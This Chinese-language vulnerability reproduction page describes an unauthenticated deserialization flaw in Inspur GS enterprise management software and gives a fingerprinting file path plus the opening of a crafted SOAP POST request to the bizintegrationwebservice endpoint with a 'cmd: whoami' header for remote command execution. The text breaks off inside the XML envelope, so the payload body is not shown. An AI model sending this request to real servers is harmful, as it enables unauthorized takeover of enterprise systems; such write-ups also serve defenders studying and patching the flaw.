一、漏洞简介
浪潮GS 面向大中型集团企业采用SOA 架构和先进开放的GSP 应用中间件开发，形成了集团管控13 大领域15 大行业60余个细分行业的解决方案。在管理方面，浪潮GS 有效帮助企业有效实现财务集中管理、资金集中管理、资产集中管理、供应链集中管理，从而达到集团信息的集中监控以及企业集团成员之间资源共享、合作共赢、共同发展。在业务方面，浪潮GS 支持供应链协同、生产管理协同，打破企业资源（人、财、物、信息、流程等）之间的各种壁垒和边界，帮助企业实现内外供应链的全面管理，从而提高了整个产业链对客户的反应速度。浪潮GS企业管理软件GetChildFormAndEntityList存在反序列化漏洞，未经授权的攻击者可通过该漏洞获取服务器权限
二、资产测绘
- “cwbase/web/scripts/aes.js”
- 特征
三、漏洞复现
POST /cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
cmd: whoami
Content-Length: 16392
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope x
